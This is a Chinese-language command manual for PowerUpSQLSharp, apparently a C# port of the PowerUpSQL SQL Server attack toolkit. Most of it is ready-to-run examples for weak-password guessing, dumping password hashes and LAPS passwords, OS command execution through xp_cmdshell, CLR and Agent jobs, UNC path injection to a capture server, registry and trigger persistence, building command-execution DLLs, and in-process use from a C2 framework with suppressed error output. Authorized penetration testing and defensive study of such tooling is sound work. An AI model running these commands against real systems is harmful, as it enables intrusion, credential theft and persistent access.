覆盖全部 108 个 PowerUpSQL 兼容命令。命令名、参数名与 NetSPI/PowerUpSQL 保持一致。
# 构建单文件可执行程序
powershell -NoProfile -ExecutionPolicy Bypass -File .\scripts\release.ps1
# 输出路径
$exe = ".\dist\PowerUpSQLSharp.exe"以下示例中 $exe 代表 PowerUpSQLSharp.exe;SQL01 为示例实例名,请替换为实际环境。
| 选项 | 说明 | 示例 |
|---|---|---|
--quiet, -q |
抑制进度输出 | $exe --quiet Get-SQLInstanceLocal |
--no-color |
禁用 ANSI 颜色 | $exe --no-color Get-SQLInstanceLocal |
--verbose, -v |
详细输出 | $exe -v Get-SQLInstanceScanUDP ... |
--format table|json |
输出格式(默认 table) | $exe --format json Get-SQLInstanceLocal |
--timeout <秒> |
默认超时(默认 30) | $exe --timeout 5 Get-SQLConnectionTest ... |
--threads <n> |
默认线程数(默认 10) | $exe --threads 20 Get-SQLConnectionTestThreaded ... |
--help, -h |
显示帮助 | $exe --help / $exe Get-SQLServerInfo --help |
用法格式:
PowerUpSQLSharp.exe [全局选项] <命令名> [命令选项]多数需要连接 SQL Server 的命令支持以下参数(省略 -Instance 时默认本机):
| 参数 | 说明 |
|---|---|
-Instance |
实例名,逗号分隔可多目标,如 SQL01 或 SQL01\SQLEXPRESS |
-Username / -Password |
SQL 身份验证;省略则尝试 Windows 集成认证 |
-Database |
初始数据库(默认 master) |
-DAC |
使用 Dedicated Admin Connection |
-TimeOut |
连接超时秒数(覆盖全局 --timeout) |
示例(Windows 集成认证):
$exe Get-SQLServerInfo -Instance SQL01示例(SQL 认证):
$exe Get-SQLServerInfo -Instance SQL01 -Username sa -Password "YourPassword"| 命令 | 说明 | 操作示例 |
|---|---|---|
Get-SQLInstanceLocal |
枚举本机注册表中的 SQL 实例 | $exe Get-SQLInstanceLocal |
Get-SQLInstanceBroadcast |
通过 SQL Browser 广播发现局域网实例 | $exe Get-SQLInstanceBroadcast |
Get-SQLInstanceBroadcast |
广播 + UDP 补充探测 | $exe Get-SQLInstanceBroadcast -UDPPing -UDPTimeOut 3 |
Get-SQLInstanceDomain |
域内 SPN/实例发现(需域成员机) | $exe Get-SQLInstanceDomain |
Get-SQLInstanceDomain |
指定域账户过滤 | $exe Get-SQLInstanceDomain -DomainAccount SQLService -IncludeIP |
Get-SQLInstanceFile |
从文件读取实例列表 | $exe Get-SQLInstanceFile -FilePath scripts\instances.example.txt |
Get-SQLInstanceScanUDP |
对指定主机 UDP 1434 扫描 | $exe Get-SQLInstanceScanUDP -ComputerName 10.0.0.10 |
Get-SQLInstanceScanUDPThreaded |
多主机并行 UDP 扫描 | $exe Get-SQLInstanceScanUDPThreaded -ComputerName SQL01,SQL02 -Threads 5 |
Get-SQLInstanceDomain 常用参数: -Username、-Password、-DomainController、-ComputerName、-CheckMgmt、-IncludeIP、-UDPTimeOut、-Threads
Get-SQLInstanceFile 别名: -InstanceFile 等效于 -FilePath
| 命令 | 说明 | 操作示例 |
|---|---|---|
Get-SQLConnectionTest |
测试单/多实例连接 | $exe Get-SQLConnectionTest -Instance SQL01 -Username sa -Password "pwd" |
Get-SQLConnectionTestThreaded |
并行连接测试 | $exe Get-SQLConnectionTestThreaded -Instance SQL01,SQL02,SQL03 -Threads 5 |
Get-SQLServerLoginDefaultPw |
尝试常见默认/弱口令 | $exe Get-SQLServerLoginDefaultPw -Instance SQL01 |
| 命令 | 说明 | 操作示例 |
|---|---|---|
Get-SQLServerInfo |
版本、登录、sysadmin、xp_cmdshell 等 | $exe Get-SQLServerInfo -Instance SQL01 |
Get-SQLServerInfoThreaded |
多实例并行采集 | $exe Get-SQLServerInfoThreaded -Instance SQL01,SQL02 |
Get-SQLServiceLocal |
本机 SQL 相关 Windows 服务 | $exe Get-SQLServiceLocal |
Get-SQLSysadminCheck |
当前登录是否为 sysadmin | $exe Get-SQLSysadminCheck -Instance SQL01 |
Get-SQLLocalAdminCheck |
当前 Windows 用户是否本地管理员 | $exe Get-SQLLocalAdminCheck |
Get-SQLServerConfiguration |
服务器配置项 | $exe Get-SQLServerConfiguration -Instance SQL01 |
Batch 2 侦察类命令共享以下过滤参数(按需选用):
| 参数 | 说明 |
|---|---|
-DatabaseName |
限定数据库 |
-SchemaName |
限定架构 |
-TableName / -ColumnName |
限定表/列 |
-ProcedureName / -ViewName / -TriggerName |
限定对象名 |
-Keyword / -Keywords |
关键字过滤 |
-ColumnNameSearch |
列名关键字(采样用) |
-SampleSize |
采样行数 |
-NoDefaults |
排除系统库 |
-HasAccess |
仅返回有权限的对象 |
-SysAdminOnly |
仅 sysadmin 可见对象 |
-ShowAll / -AutoExec / -OnlySigned |
各类 SP/触发器过滤 |
-Threads |
并行线程(Threaded 变体) |
基础示例:
# 枚举数据库
$exe Get-SQLDatabase -Instance SQL01
# 枚举指定库中的表
$exe Get-SQLTable -Instance SQL01 -DatabaseName MyApp -NoDefaults
# 按关键字采样敏感列
$exe Get-SQLColumnSampleData -Instance SQL01 -ColumnNameSearch password,ssn -SampleSize 5
# 执行自定义 T-SQL
$exe Get-SQLQuery -Instance SQL01 -Query "SELECT name FROM sys.databases"
# 并行多实例查询
$exe Get-SQLQueryThreaded -Instance SQL01,SQL02 -Query "SELECT @@VERSION" -Threads 4| 命令 | 说明 |
|---|---|
Get-SQLDatabase |
数据库列表 |
Get-SQLDatabaseThreaded |
并行版 |
Get-SQLDatabaseUser |
数据库用户 |
Get-SQLDatabaseSchema |
架构 |
Get-SQLDatabaseRole |
数据库角色 |
Get-SQLDatabaseRoleMember |
角色成员 |
Get-SQLDatabasePriv |
数据库级权限 |
Get-SQLTable |
用户表 |
Get-SQLTableTemp |
tempdb 临时对象 |
Get-SQLColumn |
列信息 |
Get-SQLColumnSampleData |
列数据采样 |
Get-SQLColumnSampleDataThreaded |
并行采样 |
Get-SQLView |
视图 |
Get-SQLStoredProcedure |
存储过程 |
Get-SQLStoredProcedureCLR |
CLR 程序集 SP |
Get-SQLStoredProcedureSQLi |
潜在 SQLi SP |
Get-SQLStoredProcedureAutoExec |
自动执行 SP |
Get-SQLStoredProcedureXp |
扩展 SP |
Get-SQLTriggerDdl |
服务器 DDL 触发器 |
Get-SQLTriggerDml |
数据库 DML 触发器 |
Get-SQLSession |
活动会话 |
Get-SQLQuery / Get-SQLQueryThreaded |
自定义查询 |
Get-SQLServerLogin |
服务器登录 |
Get-SQLServerPasswordHash |
登录密码哈希 |
Get-SQLServerRole / Get-SQLServerRoleMember |
服务器角色 |
Get-SQLServerPriv |
服务器级权限 |
Get-SQLServerCredential |
凭据对象 |
Get-SQLServerPolicy |
Policy 策略 |
Get-SQLServiceAccount |
服务账户 |
Get-SQLAgentJob |
Agent 作业 |
Get-SQLAssemblyFile |
程序集文件 |
Get-SQLOleDbProvder |
OLE DB 提供程序 |
Get-SQLAuditDatabaseSpec |
库级审计规范 |
Get-SQLAuditServerSpec |
服务器审计规范 |
Get-SQLRecoverPwAutoLogon |
尝试恢复自动登录凭据 |
# 将侦察结果导出为 CSV(仅支持单实例)
$exe Invoke-SQLDumpInfo -Instance SQL01 -OutFolder C:\temp\dump -Username sa -Password "pwd"Invoke-SQLDumpInfo 参数: -OutFolder(必填,可写目录)、以及通用连接参数。
全量审计(仅单实例):
$exe Invoke-SQLAudit -Instance SQL01 -Username sa -Password "pwd"单项审计示例:
$exe Invoke-SQLAuditWeakLoginPw -Instance SQL01
$exe Invoke-SQLAuditPrivTrustworthy -Instance SQL01 -NoDefaults
$exe Invoke-SQLAuditPrivImpersonateLogin -Instance SQL01
$exe Invoke-SQLAuditSampleDataByColumn -Instance SQL01 -ColumnNameSearch password,credit| 命令 | 说明 |
|---|---|
Invoke-SQLAudit |
运行全部审计检查 |
Invoke-SQLAuditDefaultLoginPw |
默认实例名弱口令 |
Invoke-SQLAuditWeakLoginPw |
字典弱口令 |
Invoke-SQLAuditPrivImpersonateLogin |
IMPERSONATE 权限 |
Invoke-SQLAuditPrivServerLink |
链接服务器静态凭据 |
Invoke-SQLAuditPrivTrustworthy |
TRUSTWORTHY 库 |
Invoke-SQLAuditPrivDbChaining |
库所有权链 |
Invoke-SQLAuditPrivCreateProcedure |
CREATE PROCEDURE 权限 |
Invoke-SQLAuditPrivXpDirtree |
xp_dirtree 执行权限 |
Invoke-SQLAuditPrivXpFileexit |
xp_fileexist 执行权限 |
Invoke-SQLAuditRoleDbDdlAdmin |
db_ddladmin 角色 |
Invoke-SQLAuditRoleDbOwner |
db_owner 角色 |
Invoke-SQLAuditSampleDataByColumn |
敏感列采样 |
Invoke-SQLAuditSQLiSpExecuteAs |
EXECUTE AS + 动态 SQL |
Invoke-SQLAuditSQLiSpSigned |
签名 SP + 动态 SQL |
Invoke-SQLAuditPrivAutoExecSp |
自动执行 SP 权限 |
审计过滤参数: -NoDefaults、-ColumnNameSearch、-SampleSize、-DatabaseName 等(与侦察类相同)。
需要 sysadmin 或对应向量已启用。仅在授权测试环境使用。
# xp_cmdshell
$exe Invoke-SQLOSCmd -Instance SQL01 -Command "whoami" -Username sa -Password "pwd"
# 原始输出(不格式化表格)
$exe Invoke-SQLOSCmd -Instance SQL01 -Command "hostname" -RawResults
# 执行后恢复 xp_cmdshell 状态
$exe Invoke-SQLOSCmd -Instance SQL01 -Command "whoami" -RestoreState| 命令 | 向量 | 示例 |
|---|---|---|
Invoke-SQLOSCmd |
xp_cmdshell | -Command "whoami" |
Invoke-SQLOSCmdCLR |
CLR 程序集 | -Command "whoami" |
Invoke-SQLOSCmdCOle |
OLE Automation | -Command "calc" |
Invoke-SQLOSCmdPython |
Python 脚本 | -Command "print(1)" |
Invoke-SQLOSCmdR |
R 脚本 | -Command "Sys.getenv('USERNAME')" |
Invoke-SQLOSCmdAgentJob |
SQL Agent 作业 | -Command "whoami" -SubSystem CmdExec |
OS 命令参数: -Command(必填)、-SubSystem、-Threads、-Sleep、-RawResults、-RestoreState
需 SQL Server 可访问 ADSI 链接服务器或等效配置。
# 域用户
$exe Get-SQLDomainUser -Instance SQL01 -FilterUser admin
# 域计算机
$exe Get-SQLDomainComputer -Instance SQL01 -FilterComputer SQL
# LAPS 密码
$exe Get-SQLDomainPasswordsLAPS -Instance SQL01
# 自定义 LDAP 过滤
$exe Get-SQLDomainObject -Instance SQL01 -LdapFilter "(objectClass=user)" -LdapFields "cn,sAMAccountName"| 命令 | 说明 |
|---|---|
Get-SQLDomainObject |
通用域对象 |
Get-SQLDomainUser |
域用户 |
Get-SQLDomainComputer |
域计算机 |
Get-SQLDomainSubnet |
子网 |
Get-SQLDomainSite |
站点 |
Get-SQLDomainGroup |
组 |
Get-SQLDomainOu |
OU |
Get-SQLDomainAccountPolicy |
账户策略 |
Get-SQLDomainTrust |
域信任 |
Get-SQLDomainPasswordsLAPS |
LAPS 密码 |
Get-SQLDomainController |
域控制器 |
Get-SQLDomainExploitableSystem |
可利用系统 |
Get-SQLDomainGroupMember |
组成员 |
ADSI 参数: -LinkUsername、-LinkPassword、-UseAdHoc、-LdapPath、-LdapFilter、-LdapFields、-TargetDomain、-FilterUser、-FilterComputer、-FilterGroup、-UserState、-PwLastSet、-SuppressVerbose
# 查询 SPN
$exe Get-DomainSpn -DomainController DC01.example.com -LdapFilter "(servicePrincipalName=*)"
# 通用域对象
$exe Get-DomainObject -DomainController DC01.example.com -Username "DOMAIN\user" -Password "pwd" -Limit 100直接 LDAP 参数: -DomainController、-Username、-Password、-LdapFilter、-LdapPath、-Limit、-SearchScope
# 列出链接服务器
$exe Get-SQLServerLink -Instance SQL01
# 递归爬取链接
$exe Get-SQLServerLinkCrawl -Instance SQL01 -Export
# 在链接上执行查询
$exe Get-SQLServerLinkQuery -Instance SQL01 -Query "SELECT @@VERSION" -DatabaseLinkName LINK01
# UNC 路径注入(强制 SQL 向捕获服务器认证)
$exe Invoke-SQLUncPathInjection -Instance SQL01 -CaptureIp 10.0.0.99 -DomainController DC01.example.com| 命令 | 说明 |
|---|---|
Get-SQLServerLink |
链接服务器列表 |
Get-SQLServerLinkCrawl |
递归枚举链接 |
Get-SQLServerLinkData |
爬取结果中的服务器对象 |
Get-SQLServerLinkQuery |
生成 OPENQUERY 递归语句 |
Invoke-SQLUncPathInjection |
UNC 认证捕获 |
链接参数: -Query、-QueryTarget、-DatabaseLinkName、-Export、-Export2、-DAC、-CaptureIp、-TimeOut
$exe Invoke-SQLEscalatePriv -Instance SQL01
$exe Invoke-SQLImpersonateService -Instance SQL01
$exe Invoke-SQLImpersonateServiceCmd -Instance SQL01 -Command "whoami"
$exe Invoke-TokenManipulation -Command whoami$exe Get-SQLPersistRegRun -Instance SQL01
$exe Get-SQLPersistRegDebugger -Instance SQL01
$exe Get-SQLPersistTriggerDDL -Instance SQL01通过 OBJECT_NAME()、DB_NAME()、SUSER_NAME() 等按 ID 范围爆破隐藏对象名:
$exe Get-SQLFuzzObjectName -Instance SQL01 -StartId 1 -EndId 1000
$exe Get-SQLFuzzDatabaseName -Instance SQL01 -StartId 1 -EndId 100
$exe Get-SQLFuzzServerLogin -Instance SQL01 -StartId 1 -EndId 500
$exe Get-SQLFuzzDomainAccount -Instance SQL01 -StartId 1000 -EndId 1100 -Domain example.comFuzz 参数: -StartId、-EndId、-Domain、-SuppressVerbose
# 生成 CLR DLL 及 CREATE ASSEMBLY 脚本
$exe Create-SQLFileCLRDll -ProcedureName cmd_exec -Command "whoami" -OutDir C:\temp
# 修补 XP DLL 模板中的命令缓冲区
$exe Create-SQLFileXpDll -SourceDllPath C:\temp\xp_template.dll -Command "whoami" -OutFile C:\temp\xp_patched.dll$exe Get-SQLInstanceLocal
$exe Get-SQLInstanceBroadcast -UDPPing
$exe Get-SQLConnectionTest -Instance SQL01\SQLEXPRESS -Username sa -Password "pwd"
$exe Get-SQLServerInfo -Instance SQL01\SQLEXPRESS -Username sa -Password "pwd"$exe Get-SQLInstanceDomain -IncludeIP
$exe Get-SQLDomainComputer -Instance SQL01 -FilterComputer SQL
$exe Get-DomainSpn -DomainController DC01.example.com$exe Invoke-SQLAudit -Instance SQL01 -Username sa -Password "pwd"
$exe Get-SQLServerPasswordHash -Instance SQL01 -Username sa -Password "pwd"
$exe Invoke-SQLAuditSampleDataByColumn -Instance SQL01 -ColumnNameSearch password,secret$exe --format json Get-SQLInstanceLocal | ConvertFrom-Json
$exe --format json Get-SQLServerInfo -Instance SQL01 | ConvertFrom-Json| 码 | 含义 |
|---|---|
| 0 | 成功 |
| 2 | 参数错误 |
| 3 | 连接失败 |
| 4 | 权限不足 |
| 5 | 部分失败 |
Copy-Item .\scripts\test-env.example.ps1 .\scripts\test-env.ps1
# 编辑 test-env.ps1 填入实验环境
.\scripts\Run-IntegrationTests.ps1详见 Integration-TestPlan.md 与 Acceptance-Tests.md。
execute-assembly --in-process /path/to/PowerUpSQLSharp.exe Get-SQLInstanceLocal程序检测到 C2 托管环境时会抑制未处理异常的标准错误输出。
最后更新:2026-07-04